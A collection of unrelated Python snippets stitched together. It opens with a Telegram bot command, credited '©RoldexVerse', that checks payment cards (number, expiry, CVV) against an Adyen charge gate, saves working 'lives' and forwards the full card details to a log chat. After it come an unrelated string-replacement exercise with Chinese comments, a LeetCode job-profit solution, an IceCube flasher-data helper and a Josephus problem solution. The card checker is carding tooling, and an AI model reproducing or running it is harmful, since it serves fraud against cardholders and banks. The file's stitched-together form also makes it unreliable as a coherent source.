──────────────────────
- /ad cc cvv mes ano || <reply_to_msg>
➛ Adyen Charge $56
──────────────────────

©RoldexVerse
"""

import os
import re
import time
import requests
from mills import LOG_CHAT

from mills.decorators import bot_cmd
from mills.func.tools import web_search
from mills.plugins.checkers.utils.gateinfo import get_gate_info
from mills.plugins import rand_user_base
from mills.plugins.checkers.utils.getcards  import get_cards
from mills.plugins._helpers.strings import get_strings
from mills.plugins.checkers.funcs.ad_defs import adyen

@bot_cmd(cmd="ad", text_only = True)
@get_gate_info("ad")
@get_cards()
@get_strings("card_chk")
async def _ad(m, gate_db, user_db, cards, lang):
    start_time = int(time.time())
    cc,mes,ano,cvv, bin_info = cards
    message = await m.reply(lang['fir_msg'].format(
        gate_name = gate_db['gate_name'],
        name = m.full_name(),
        id = m.sender_id,
        taken = int(time.time()) - start_time,
    ))
    a = adyen(cc,mes,ano, cvv)
    if not a:
        await m.sod("Error While Checking", time = 5)
    r_respo, r_logo, r_text = a
    await message.edit(lang['fin_msg'].format(
        gate_name = gate_db['gate_name'],
        card = f"{cc}|{mes}|{ano}|{cvv}",
        status = r_text,
        logo = r_logo,
        message = r_respo ,
        vendor = bin_info['vendor'],
        type = bin_info['type'],
        bank_name = bin_info['bank_name'],
        country = bin_info['iso'],
        flag = bin_info['flag'],
        name = m.full_name(),
        id = m.sender_id,
        role = user_db['role'],
        taken = int(time.time()) - start_time,
    ), link_preview = False)
    if r_respo == "CVV MATCH":
        if user_db['saveccs']:
            await m.mdb.update_one('users',{'_id': m.sender_id}, {'$addToSet': {'lives': f"{cc}|{mes}|{ano}|{cvv} - {r_text} - {gate_db['gate_name']}"}})
        m.save_lives(f"{cc}|{mes}|{ano}|{cvv} - {r_text} - {gate_db['gate_name']}")
        await m.client.send_message(LOG_CHAT, f"{cc}|{mes}|{ano}|{cvv} - {r_text} - {gate_db['gate_name']}")
    await m.adb.set_key(f'antispam_{str(m.sender_id)}', time.time())
    return


# TA s = 'give my idea and my work desc, my friend',
# 要求:以函数形式声明，将第二个'my'替换成'your'，并打印

def replaceN(string,old,new,N):
    cnt = 0

    index = string.find(old)
    while index != -1:
        cnt += 1
        if cnt == N:
            front = string[:index]
            end = string[index+len(old):]
            return front + new + end
        index += len(old)
        index = string.find(old,index,len(string))

    return string

str = 'give my idea and my work desc, my friend'

ret = replaceN(str,'my','your',2)
print(ret)


# O(N Log N)
class Solution:
    def maxProfitAssignment(self, difficulty: List[int], profit: List[int], worker: List[int]) -> int:

        # Keep track of the biggest profit for each difficulty
        jobs = dict()
        for i in range(len(difficulty)):
            if difficulty[i] in jobs:
                jobs[difficulty[i]] = max(jobs[difficulty[i]], profit[i])
            else:
                jobs[difficulty[i]] = profit[i]

        # Sort worker and difficulty.
        difficulty.sort()
        worker.sort()

        # Two pointer: n (worker) and d (difficulty)
        maxProfit, cProfit, d = 0, 0, 0

        # Since you go from the weakest worker to the best and from the easiest task to the most difficult.
        # You can accumulate the max profit found for each worker and use it as a starting point for the next.
        for n in worker:
            while d < len(difficulty) and difficulty[d] <= n:
                cProfit = max(jobs[difficulty[d]], cProfit)
                d += 1
            maxProfit += cProfit

        return maxProfit


from icecube import icetray, dataclasses

def buildI3FlasherSubrunMap(flasherData):
    """
    Build an I3FlasherSubrunMap given data from I3Live.
    @flasherData: dictionary from JSON returned byI3Live flasher_data URL
    """
    # Flasher data container.  out[subrun][OMKey] returns the flasher data
    out = dataclasses.I3FlasherSubrunMap()
    for subrunDict in flasherData:
        subrun = int(subrunDict['subrun'])
        out[subrun] = dataclasses.I3FlasherStatusMap()
        for flashingDOM in subrunDict['flasherList']:
            status = dataclasses.I3FlasherStatus()
            status.brightness = int(flashingDOM['brightness'])
            status.window = int(flashingDOM['window'])
            status.rate = int(flashingDOM['rate'])
            status.mask = int(flashingDOM['mask'], 16)
            status.delay = int(flashingDOM['delay'])
            key = icetray.OMKey(int(flashingDOM['string']),
                                int(flashingDOM['position']))
            out[subrun][key] = status
    return out


n, k = map(int, input().split())
nums = list(range(1, n + 1))
ans = []
index = 0

while nums:
    index = (index + k - 1) % len(nums)
    ans.append(str(nums.pop(index)))

print('<', ', '.join(ans), '>', sep='')